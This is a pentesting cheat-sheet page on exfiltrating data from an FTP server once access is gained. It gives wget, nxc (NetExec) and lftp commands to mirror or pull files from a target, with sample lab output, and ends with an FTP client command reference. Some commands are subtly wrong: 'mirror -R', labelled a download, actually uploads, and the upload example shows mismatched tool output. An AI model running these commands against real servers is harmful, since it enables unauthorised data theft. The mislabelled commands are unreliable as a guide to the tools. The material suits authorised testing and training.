Skip to content
HackIndex logo

HackIndex

FTP Data Exfiltration

4 min read Jan 4, 2026

FTP data exfiltration focuses on extracting files and data from an FTP server after successful authentication.
This phase assumes valid credentials or anonymous access have already been obtained.

Bulk Download

Mirror everything:

┌──(kali㉿kali)-[~]
└─$ wget -r --user="$USER" --password="$PASSWORD" ftp://$TARGET_IP/

For FTPS:

┌──(kali㉿kali)-[~]
└─$ wget -m --user="$USER" --password="$PASS" --secure-protocol=TLSv1_2 ftps://$TARGET_IP/

Directory Listing & Targeted Download

Use nxc for quick ops:

┌──(kali㉿kali)-[~]
└─$ nxc ftp $TARGET_IP -u $USER -p $PASSWORD --ls 
FTP         192.168.0.10   21     192.168.0.10    [*] Banner: (vsFTPd 3.0.5)
FTP         192.168.0.10   21     192.168.0.10    [+] user:password
FTP         192.168.0.10   21     192.168.0.10    [*] Directory Listing
FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Sep 30 17:29 Desktop
FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Documents
FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Jul 13 23:42 Downloads
FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Music
FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Pictures
FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Public
FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Templates
FTP         192.168.0.10   21     192.168.0.10    drwxr-xr-x    2 1000     1000         4096 Aug 28  2022 Videos
FTP         192.168.0.10   21     192.168.0.10    drwx------    4 1000     1000         4096 Aug 28  2022 snap

List a Specific Directory

┌──(kali㉿kali)-[~]
└─$ nxc ftp $TARGET_IP -u $USER -p $PASSWORD --ls /path/to/dir

Download a Specific File

┌──(kali㉿kali)-[~]
└─$ nxc ftp $TARGET_IP -u $USER -p $PASSWORD --ls $DIR --get $FILE 
FTP         10.10.176.246   21     10.10.176.246    [*] Banner: (vsFTPd 3.0.3)
FTP         10.10.176.246   21     10.10.176.246    [+] user:password
FTP         10.10.176.246   21     10.10.176.246    [+] Downloaded: ftp_flag.thm

Uploading & Handling Binary Files

Before transferring binary files (executables, archives, images), binary mode must be enabled.

Enable Binary Transfer Mode

ftp > binary

Upload a File

ftp > put $FILE 
FTP         10.10.176.246   21     10.10.176.246    [*] Banner: (vsFTPd 3.0.3)
FTP         10.10.176.246   21     10.10.176.246    [+] user:password
FTP         10.10.176.246   21     10.10.176.246    [-] Failed to upload file. Response: (550 Permission denied.)

Recursive Download with lftp

┌──(kali㉿kali)-[~]
└─$ lftp -u $USER,$PASS ftp://$TARGET_IP -e "mirror -R /remote/dir local/dir; bye"

For FTPS:

┌──(kali㉿kali)-[~]
└─$ lftp -u $USER,$PASS ftps://$TARGET_IP -e "set ssl:verify-certificate no; mirror -R /remote/dir local/dir; bye"

All FTP commands

FTP Command

Description of Command

!

Escape to the shell.

$

Execute macro

?

Print local help information.

account

Send account command to remote server.

append

Append to a file.

ascii

Set ascii transfer type.

beep

Beep when command completed.

binary

Set binary transfer type.

bye

Terminate FTP session and exit.

case

Toggle mget upper/lower case id mapping.

cd

Change remote working directory.

cdup

Change remote working directory to parent directory.

chmod

Change file permissions of remote file.

close

Terminate FTP session.

cr

Toggle carriage return stripping on ascii gets.

debug

Toggle/set debugging mode.

delete

Delete remote file

dir

List contents of remote directory.

disconnect

Terminate FTP session.

exit

Terminate FTP sessions and exit.

form

Set file transfer format.

get

Receive file.

glob

Toggle meta character expansion of local file names.

hash

Toggle printing ‘#’ for each buffer transferred.

help

Display local help information.

idle

Get (set) idle timer on remote side.

image

Set binary transfer type.

ipany

Allow use of any address family.

ipv4

Restrict address usage to IPv4.

ipv6

Restrict address usage to IPv6.

lcd

Change local working directory.

ls

List contents of remote directory.

macdef

Define a macro.

mdelete

Delete multiple files.

mdir

List contents of multiple remote directories.

mget

Get multiple files.

mkdir

Make directory on remote machine.

mls

List contents of multiple remote directories.

mode

Set file transfer mode.

modtime

Show last modification time of remote file.

mput

Send multiple files.

newer

Get file if remote file is newer than local file.

nlist

List remote directory nlist contents.

nmap

Set templates for default file name mapping.

ntrans

Set translation table for default file name mapping.

open

Connect to remote ftp.

passive

Enter passive transfer mode.

prompt

Force interactive prompting on multiple commands.

proxy

Issue command on an alternate connection.

put

Send one file.

pwd

Print working directory on remote machine.

qc

Print ? in place of control characters on stdout.

quit

Terminate ftp session and exit.

quote

Send arbitrary ftp command.

recv

Receive file.

reget

Get file restarting at end of local file.

rename

Rename file.

reset

Clear queued command replies.

restart

Restart file transfer at bytecount.

rhelp

Get help from remote server.

rmdir

Remove directory on remote machine.

rstatus

Show status of remote machine.

runique

Toggle store unique for local files.

send

Send one file.

sendport

Toggle use of PORT cmd for each data connection.

site

Send site specific command to remote server.

size

Show size of remote file.

status

Show current status.

struct

Set file transfer structure.

sunique

Toggle store unique on remote machine.

system

Show remote system type.

tenex

Set tenex file transfer type.

tick

Toggle printing byte counter during transfers.

trace

Toggle packet tracing.

type

Set file transfer type.

umask

Get (set) umask on remote site.

user

Send new user information.

verbose

Toggle verbose mode.

References